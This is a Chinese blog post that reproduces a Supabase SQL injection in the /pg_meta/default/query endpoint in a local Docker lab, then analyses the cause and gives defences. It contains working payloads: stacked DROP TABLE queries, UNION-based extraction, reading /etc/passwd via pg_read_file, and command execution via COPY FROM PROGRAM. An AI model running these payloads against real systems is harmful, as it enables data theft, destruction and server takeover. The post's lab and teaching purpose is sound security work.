当前位置: 首页 > news >正文

Supabase SQL注入漏洞复现:从原理到防御的深度解析

1. 项目概述:从一次真实的Supabase SQL注入漏洞复现说起

最近在安全研究圈里,Supabase这个开源的后端即服务平台(BaaS)热度一直不低。它基于PostgreSQL,提供了开箱即用的数据库、认证、实时订阅等功能,对于快速构建应用来说确实方便。但方便的背后,如果安全配置不当,风险也随之而来。我最近就深入复现了一个与Supabase相关的SQL注入漏洞,这个漏洞的根源在于其PostgreSQL组件的一个特定接口。复现过程本身并不复杂,但其中涉及到的关于云原生服务、ORM框架使用以及API安全边界的思考,却非常值得拿出来和大家聊聊。无论你是正在使用Supabase的开发者,还是对Web应用安全、特别是现代API漏洞感兴趣的安全研究员,这次复现经历都能给你带来一些直接的参考和警示。我们不会停留在“这里有个注入点”的层面,而是会拆解漏洞成因、一步步构建攻击载荷、并深入探讨在类似架构中如何系统性防御。接下来,我就把这个漏洞复现的完整过程、技术细节和踩过的坑,毫无保留地分享出来。

2. 漏洞背景与核心原理拆解

2.1 Supabase架构与风险入口分析

要理解这个漏洞,首先得明白Supabase是怎么工作的。Supabase的核心是PostgreSQL数据库,但它不是让你直接裸连数据库。它通过一系列自动生成的RESTful API和GraphQL API(基于PostgREST)来暴露数据操作接口。同时,它还提供了一个叫pg_meta的组件,用于管理数据库的元数据,比如表结构、列信息、关系等。开发者可以通过Supabase的管理界面或客户端库,以一种更“声明式”的方式来操作数据。

听起来很安全,对吧?因为通常你通过Supabase客户端库执行查询,它会使用参数化查询或ORM映射,理论上能避免SQL注入。但问题就出在,Supabase某些管理或调试接口,可能会直接或间接暴露底层数据库的查询能力。这次复现的漏洞(与CVE-2024-24213相关)正是针对/pg_meta/default/query这个端点。从路径就能看出,这很可能是一个用于执行原始SQL查询的“后门”或调试接口。在默认或特定配置下,如果此接口的访问控制存在缺陷,或者对输入的处理不当,攻击者就能将恶意SQL语句“注入”到该接口发起的数据库查询中。

2.2 SQL注入漏洞原理在此场景下的特殊体现

传统的SQL注入发生在应用程序将用户输入直接拼接到SQL语句中的场景。而在Supabase这类BaaS平台中,注入点可能“上移”了。攻击者面对的不再是应用业务代码,而是平台提供的通用数据操作API。漏洞的触发逻辑可以这样概括:

  1. 入口点:攻击者找到了一个可以接受某种输入(可能是JSON参数、查询字符串、请求头)的API端点,例如/pg_meta/default/query
  2. 参数传递:该端点会将接收到的某个参数(比如名为querysql的字段)的值,直接传递给PostgreSQL数据库引擎执行。
  3. 缺乏过滤与拼接:平台在将这个参数值交给数据库之前,没有进行充分的语法检查、关键字过滤,或者错误地使用了字符串拼接而非参数化查询。
  4. 恶意载荷执行:攻击者在该参数中嵌入额外的SQL语句(如UNION SELECT,DROP TABLE, 或利用COPY命令进行文件读写/命令执行等),这些语句会与平台原本意图执行的查询语句结合在一起,被数据库完整执行。

关键在于,这个/pg_meta/default/query接口本意可能是供管理员或内部系统执行一些维护性查询,但它被错误地配置为允许未经严格认证的请求访问,或者其输入验证逻辑存在绕过可能。

注意:在复现或测试任何漏洞时,必须在获得明确授权的环境(如自己搭建的测试靶场、合法的漏洞众测项目)中进行。未经授权对任何系统进行测试都是非法且不道德的。

3. 复现环境搭建与前期准备

3.1 本地靶场环境搭建

为了安全、合法地复现这个漏洞,我们需要在本地搭建一个Supabase环境。最推荐的方式是使用Docker Compose,这也是Supabase官方提供的本地开发方案。

首先,确保你的机器上安装了Docker和Docker Compose。然后,通过Supabase的CLI工具来初始化项目是一个好办法,但为了更清晰地理解组件,我们可以直接使用其GitHub仓库提供的docker-compose配置。

# 创建一个专门用于测试的目录 mkdir supabase-sqli-test && cd supabase-sqli-test # 克隆Supabase的docker-compose配置(这里以某个版本为例,具体需根据漏洞影响版本调整) git clone --depth 1 https://github.com/supabase/supabase cd supabase/docker # 启动所有服务。这将会启动PostgreSQL、Kong、GoTrue、PostgREST、pg_meta等一堆容器。 docker-compose up -d

等待几分钟,所有容器启动完成后,你可以通过docker-compose ps检查状态。主要关注postgres(数据库)、kong(API网关)、studio(管理界面)等核心服务是否运行正常。Supabase Studio管理界面通常运行在http://localhost:3000

3.2 漏洞接口定位与初步探测

环境跑起来后,我们首先要找到那个可能存在问题的端点。根据漏洞信息,目标是/pg_meta/default/query。我们需要确定这个端点完整的访问路径。

Supabase的API结构通常经过Kong网关路由。一个典型的访问模式是:http://localhost:8000/rest/v1/http://localhost:8000/pg/v1/pg_meta服务可能监听特定端口。我们可以通过检查docker-compose.yml文件来寻找线索。

# 查看docker-compose.yml中关于pg_meta的服务定义 grep -A 5 -B 5 "pg_meta" docker-compose.yml

你可能会发现pg_meta服务暴露了某个端口,比如8080。那么接口地址可能就是http://localhost:8080/pg_meta/default/query。或者,它可能通过Kong网关以/pg/v1/meta/query这样的路径暴露。

更直接的方法是,启动环境后,访问Supabase Studio (localhost:3000),使用默认凭证登录(通常可以在docker-compose.yml或.env文件中找到),然后在浏览器的开发者工具(Network标签页)中观察,当你操作数据库表时,可能会看到对类似/pg/v1/query/pg_meta/的请求。这就是我们的目标。

实操心得:在本地复现时,由于网络架构和配置可能与生产环境有差异,漏洞接口的准确路径需要结合日志和网络请求来判定。一个技巧是查看pg_meta容器的日志:docker-compose logs pg_meta,看看它启动时注册了哪些路由。

3.3 工具准备

工欲善其事,必先利其器。除了常用的浏览器和终端,我们还需要一些专业工具:

  1. Burp Suite / OWASP ZAP:用于拦截、重放和修改HTTP请求,是构造和发送攻击载荷的利器。
  2. Postman / cURL:用于快速发送特定的HTTP请求进行测试。
  3. sqlmap:经典的SQL注入自动化检测工具。在确认存在注入点后,可以用它来进一步利用,获取数据。但在复现学习时,我更推荐手动构造,以加深理解。
  4. 一个简单的测试数据库表:在Supabase Studio中创建一个测试表,例如test_users (id, username, email),并插入几条记录。这能帮助我们验证注入是否成功执行了查询。

4. 漏洞复现过程详解

4.1 步骤一:正常功能请求分析

首先,我们需要了解/pg_meta/default/query接口的正常工作方式。假设我们通过抓包或文档得知,它接受一个POST请求,Body是JSON格式,包含一个query字段,里面是SQL语句。

我们先用一个合法的请求来试探:

POST /pg_meta/default/query HTTP/1.1 Host: localhost:8080 Content-Type: application/json Authorization: Bearer <your-supabase-anon-key> # 注意:这里可能需要认证 { "query": "SELECT id, username FROM test_users LIMIT 5" }

发送这个请求,如果接口工作正常,你应该会收到一个JSON响应,包含查询结果。

关键点:注意Authorization头。Supabase通常使用JWT进行认证。anon key是公开的,用于客户端匿名访问(但受Row Level Security策略限制)。service_role key拥有更高权限。在复现时,我们需要弄清楚这个漏洞接口需要何种权限。如果它错误地允许了anon key的访问,或者根本不需要认证,那风险就极大。我们复现时,可以先尝试不带Token,或者使用公开的anon key

4.2 步骤二:注入点探测与验证

现在,我们尝试在query参数中注入一些特殊的SQL片段,看看是否会被执行。经典的探测方法是使用逻辑真/假条件。

Payload 1: 基于布尔逻辑的探测

{ "query": "SELECT id, username FROM test_users WHERE id=1 AND 1=1" }

如果页面正常返回数据。

{ "query": "SELECT id, username FROM test_users WHERE id=1 AND 1=2" }

如果页面返回空或错误(与上一条请求响应不同),则强烈暗示存在SQL注入,因为应用执行了1=2这个永假条件。

Payload 2: 使用SQL注释符绕过

有时接口可能会在用户输入的查询前后拼接其他SQL代码。我们需要用注释符--/* */来“注释掉”后面可能存在的部分。

{ "query": "SELECT id, username FROM test_users WHERE id=1; --" }

注意分号;在PostgreSQL中用于结束一个语句。如果注入成功,--之后的任何平台拼接的SQL都会被忽略。

Payload 3: 执行多语句查询(Stacked Queries)

PostgreSQL支持多语句查询,如果后端使用的是允许执行多语句的数据库连接方式(如PGconn.exec),那么攻击将非常危险。

{ "query": "SELECT id FROM test_users; DROP TABLE test_users; --" }

警告:在你自己搭建的测试环境中可以尝试,但务必谨慎!最好先备份或使用一个无关紧要的表。

在我们的复现中,向/pg_meta/default/query发送类似Payload 3的请求,如果返回错误提示table "test_users" does not exist,那么恭喜(或者说糟糕),多语句注入成功了,表被删除了。这直接证明了漏洞的严重性。

4.3 步骤三:信息获取与数据提取

确认注入存在后,下一步就是利用它来获取数据库中的敏感信息。这里演示经典的UNION SELECT攻击。

首先,我们需要确定原始查询返回的列数。使用ORDER BY子句递增排序字段编号,直到报错。

{ "query": "SELECT id, username FROM test_users ORDER BY 3 --" }

如果ORDER BY 3报错,而ORDER BY 2正常,说明原查询有2列。

然后,使用UNION SELECT来让数据库返回我们想要的信息。UNION前后查询的列数必须一致。

{ "query": "SELECT id, username FROM test_users WHERE id=1 UNION SELECT current_user, version() --" }

这个Payload会尝试将当前数据库用户名和PostgreSQL版本信息作为额外一行数据返回。你需要仔细检查HTTP响应,这些信息可能就在返回的JSON数组里。

更进一步,我们可以查询PostgreSQL的系统目录表pg_catalog.pg_tables来获取所有表名,或者查询information_schema.columns来获取列信息。

{ "query": "SELECT id, username FROM test_users UNION SELECT tablename, tableowner FROM pg_catalog.pg_tables WHERE schemaname='public' --" }

4.4 步骤四:深入利用与命令执行尝试

在PostgreSQL中,SQL注入的最高风险之一是可能通过某些特殊函数实现命令执行。虽然现代PostgreSQL版本权限收紧,但在配置不当的情况下仍有可能。

一个著名的函数是pg_read_filepg_write_file(需要超级用户权限),以及COPY ... FROM PROGRAM命令(需要超级用户或特定权限)。例如,尝试读取服务器文件:

{ "query": "SELECT id, username FROM test_users UNION SELECT pg_read_file('/etc/passwd'), null --" }

或者,如果当前连接用户是超级用户(在Supabase的默认anon连接下通常不是,但service_role可能是),甚至可以尝试命令执行:

{ "query": "DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; --" }

这个Payload会创建一个临时表,然后利用COPY ... FROM PROGRAM执行系统命令id,并将输出存入表中,最后查询出来。

重要警示:在复现时,执行此类高权限操作必须万分小心,并且仅在你完全控制的、隔离的测试环境中进行。我们的目的是验证漏洞的危害性,而不是进行破坏。

5. 漏洞根因分析与深度探讨

5.1 代码层面问题溯源

虽然我们无法直接看到Supabase商业服务的源码,但根据漏洞描述和PostgreSQL的特性,我们可以推断问题出在pg_meta服务处理query参数的代码逻辑上。伪代码可能类似于:

# 危险示例:直接拼接用户输入 def handle_query(request): user_sql = request.json.get('query') # 没有进行任何有效的过滤或转义 final_sql = f"/* some prefix */ {user_sql} /* some suffix */" result = database.execute(final_sql) # 直接执行! return jsonify(result)

正确的做法应该是:

  1. 使用参数化查询(Prepared Statements):这是防御SQL注入的第一道也是最重要的一道防线。但请注意,对于/pg_meta/default/query这种需要执行任意SQL的“查询接口”,使用参数化查询来处理整个SQL语句字符串是无效的,因为参数化查询只能对查询中的数据值进行参数化,不能对SQL语句本身的结构进行参数化。
  2. 严格的输入白名单校验:对于此类“执行SQL”的接口,如果必须保留,则应严格限制其使用范围(如仅限管理员),并对输入的SQL进行严格的语法分析或白名单过滤(例如,只允许SELECT,禁止DROP,INSERT,COPY,CREATE等)。但这非常复杂且容易出错。
  3. 最小权限原则:执行此类查询的数据库连接必须使用权限最低的账户,绝对不能使用超级用户或拥有高危权限的账户。

5.2 Supabase服务架构下的放大效应

Supabase的架构放大了此类漏洞的影响:

  • 标准化接口:漏洞存在于一个标准化的API端点,这意味着攻击者一旦发现方法,可以批量扫描互联网上暴露的Supabase实例(如果接口公网可达)。
  • 高权限默认配置:为了方便开发者,Supabase的service_role密钥通常拥有较高的数据库权限。如果该密钥不慎泄露,或被用于此类漏洞接口的认证,攻击者就能获得对整个项目数据库的完全控制。
  • 元数据暴露pg_meta服务本身管理元数据,攻击者利用注入可能不仅能窃取业务数据,还能获取整个数据库的结构信息,为后续更精准的攻击铺平道路。

5.3 与CVE-2024-24213的关联分析

根据提供的漏洞库信息,CVE-2024-24213描述的是PostgreSQL v15.1通过组件/pg_meta/default/query存在的SQL注入漏洞。这很可能就是我们正在复现的这个漏洞,或者是其一个具体实例。它表明问题存在于特定版本的PostgreSQL组件中,可能与该版本中pg_meta服务的某个实现缺陷有关。复现时,确保你的测试环境使用了受影响版本的PostgreSQL(15.1)和对应的pg_meta服务,这样才能准确还原漏洞条件。

6. 防御措施与安全建议

6.1 对于Supabase平台使用者(开发者)

  1. 立即检查与升级:检查你的Supabase项目版本,确认是否受此漏洞影响。如果使用自托管方案,尽快升级PostgreSQL及相关服务到已修复的安全版本。对于云托管用户,关注Supabase官方安全公告并及时确认服务已更新。
  2. 严格管理API密钥
    • 绝不在前端或客户端代码中硬编码或暴露service_role密钥。这个密钥应仅用于服务器端或最受信任的后台服务。
    • 使用anon密钥和Row Level Security (RLS)策略来精细控制客户端的数据访问权限。确保RLS策略编写正确,默认拒绝所有访问,再按需开放。
  3. 禁用或严格限制高危接口:在自托管部署中,审查Supabase的配置,确认是否有类似/pg_meta/default/query的调试或管理接口暴露在外网。除非绝对必要,否则应在生产环境中禁用此类接口,或通过严格的网络ACL(如只允许内部IP访问)和强认证(如JWT校验、IP白名单)来保护它们。
  4. 启用Supabase的安全功能
    • 启用网络限制,只允许你的应用服务器IP访问数据库。
    • 定期审计数据库日志,查看是否有异常查询模式。
    • 使用SSL/ TLS强制连接

6.2 对于应用开发者的通用安全编码实践

  1. 永远不要信任用户输入:这是安全的第一信条。所有来自客户端、API请求、甚至第三方服务的数据都应视为不可信的。
  2. 使用参数化查询或ORM的安全方法:在编写业务代码时,无论使用哪种语言和框架,对于数据库操作,务必使用参数化查询(Prepared Statements)或ORM框架提供的安全查询方法(如Prisma的$queryRaw带参数、TypeORM的createQueryBuilder参数化)。
    // 错误示例(拼接) const sql = `SELECT * FROM users WHERE email = '${email}'`; // 正确示例(参数化) const sql = `SELECT * FROM users WHERE email = $1`; const values = [email];
  3. 实施最小权限原则:为应用程序连接数据库分配仅满足其功能所需的最小权限。不要使用数据库的超级用户账户运行应用。
  4. 进行安全测试:将安全测试纳入开发流程。使用SAST(静态应用安全测试)工具扫描代码中的漏洞模式,使用DAST(动态应用安全测试)工具或定期进行渗透测试,模拟攻击者寻找类似/pg_meta/default/query这样的隐藏接口和注入点。

6.3 漏洞修复方案推测

对于Supabase平台方,修复此类漏洞的方案可能包括:

  1. 移除或重构高危接口:重新评估/pg_meta/default/query接口的存在必要性。或许可以通过更安全的管理工具或CLI命令来替代。
  2. 增强输入验证与过滤:如果必须保留该接口,则实现一个强大的SQL解析器和白名单机制。例如,使用类似pg_query(用于解析PostgreSQL SQL语句的库)的工具对用户输入的SQL进行解析,只允许执行不包含危险操作(如数据定义语言DDL、数据控制语言DCL、文件操作等)的SELECT查询,并且可以限制查询的复杂度和执行时间。
  3. 强化认证与授权:确保该接口需要最高级别的认证(如service_role密钥),并且增加额外的授权层,例如检查调用来源IP、请求频率限制等。
  4. 数据库连接池权限降级:为该接口单独创建一个权限极低的数据库用户,即使发生注入,其破坏性也有限。

7. 复现过程中的常见问题与排查技巧

7.1 环境搭建问题

  • 问题:Docker Compose启动时,某些容器(如kongpostgres)不断重启或失败。
    • 排查:首先检查日志:docker-compose logs <service_name>。常见原因是端口冲突(如3000、8000端口已被占用)或内存不足。确保关闭本地可能冲突的PostgreSQL或其它服务。可以尝试修改docker-compose.yml中的端口映射。
  • 问题:无法通过localhost:3000访问Studio。
    • 排查:检查studio容器是否正常运行。Supabase Studio启动可能需要较长时间。使用docker-compose logs studio查看启动日志。有时需要等待所有依赖服务(如kongauth)就绪后,Studio才能完全启动。

7.2 漏洞探测无响应或报错

  • 问题:发送请求到/pg_meta/default/query返回404或403。
    • 排查:确认接口路径和端口是否正确。使用docker-compose port <service_name> <internal_port>查看服务映射到宿主机的具体端口。检查请求头是否需要特定的Authorizationapikey。尝试从Supabase Studio的网络请求中捕获真实的API调用格式。
  • 问题:注入Payload后,返回的是通用错误(如500 Internal Server Error)而非与SQL语法相关的错误。
    • 排查:这可能意味着后端有基本的错误处理,屏蔽了详细错误信息。这增加了盲注(Blind SQL Injection)的难度。你需要转而使用基于时间(Time-based)或布尔(Boolean-based)的盲注技术进行探测。例如,尝试使用pg_sleep函数:... AND pg_sleep(5)--,观察响应是否延迟5秒。

7.3 利用过程受阻

  • 问题UNION SELECT攻击时,前后列数一致但依然报“类型不匹配”错误。
    • 排查UNION要求对应列的数据类型必须兼容。你需要判断原查询各列的数据类型。可以使用NULL来试探,因为NULL可以适配任何类型。例如:UNION SELECT NULL, NULL, NULL...。确定列数后,再逐一将NULL替换为具体值或类型转换函数(如::text)。
  • 问题:尝试执行COPY ... FROM PROGRAMpg_read_file时被拒绝,提示权限不足。
    • 排查:这说明当前数据库连接用户不是超级用户。这是好事,说明权限配置相对安全。你的利用可能仅限于当前数据库的查询和数据窃取。此时,重点应放在通过注入获取其他表的数据、哈希密码等。

7.4 工具使用技巧

  • 使用Burp Suite的Intruder模块进行模糊测试:当不确定注入点具体位置或过滤规则时,可以用Intruder对请求的各个参数进行Fuzz测试,快速发现潜在漏洞。
  • 结合sqlmap进行自动化利用:在手动确认存在注入点后,可以将Burp捕获的请求保存为文件,用sqlmap加载,进行自动化数据提取。
    sqlmap -r request.txt --batch --level=5 --risk=3
    注意:在测试环境中使用sqlmap也需谨慎,其某些Payload破坏性较强。

这次对Supabase SQL注入漏洞的复现,让我再次深刻体会到,在追求开发效率的现代云原生和BaaS平台中,安全依然是一个需要从头到尾、从架构到代码细致考量的核心要素。一个看似为了方便而留下的“后门”接口,如果缺乏足够的安全边界,就可能成为整个系统沦陷的起点。对于开发者而言,理解你所使用的工具和平台潜在的风险点,与掌握其使用方法同等重要。安全不是功能上线后才考虑的附加项,而是贯穿设计、开发、部署和运维整个生命周期的基石。

http://www.jsqmd.com/news/1115325/

相关文章:

  • AI Agent安全攻防体系:OWASP、沙箱化与权限治理的工程落地
  • tModCodeAssist:泰拉瑞亚模组开发的终极代码质量提升方案
  • 华为云GLM-5.1 Day0上线:零配置大模型交付实践
  • 实时股票新闻情感分析系统:面向交易决策的可解释神经架构
  • WS2812B与MSP432嵌入式LED控制实战解析
  • ThinkCMF高危漏洞深度剖析:从任意内容包含漏洞到安全加固实战
  • 长按电子开关的后果是什么
  • 深度长文:基于AlphaFold3与多模态级联算法的蛋白互作(PPI)筛选落地实践
  • Qt 信号与槽机制详解(上篇):从入门到实践
  • stortrace:基于eBPF的高性能IO追踪分析工具完全指南
  • Stable Diffusion本地部署实操指南:Windows/Mac零基础跑通第一张图
  • 【JAVA毕设源码分享】基于springboot日用品销售系统的设计与实现(程序+文档+代码讲解+一条龙定制)
  • 惠州财税合规
  • 如何三步解锁WeMod Pro完整功能:Wand-Enhancer终极免费指南
  • ESP32基础知识-多任务
  • 工业级条码扫描硬件选型与嵌入式系统设计
  • Chrome DevTools MCP协议:多客户端调试实战指南
  • 2026网文剧本AI工具横评:实测5大创作助手,新手避坑指南
  • 学习线程基础
  • 基于知识图谱的企业文件关联系统设计实践
  • Mermaid Live Editor:重塑技术图表创作体验的在线利器
  • 计算机毕业设计之基于大数据技术的高考志愿填报推荐系统正文
  • 告别低效创作!热门的AI短剧创作工具橙星梦工厂,规模化做剧省时又省钱
  • 在 Python 中何时使用 classmethod、staticmethod 或实例方法
  • 美创参编|GA/T 2390-2026《信息安全技术 数据脱敏产品安全技术要求》正式实施
  • ViGEmBus终极指南:Windows虚拟手柄驱动完整配置手册
  • 豆包与抖音功能联动及性能实测大纲
  • 城通网盘下载限速终结者:如何用ctfileGet实现全速下载体验
  • SpringBoot+微信小程序打造电影交流社区实战
  • 【Linux之旅】Linux 网络层协议详解:从 IP 报文到路由转发的底层逻辑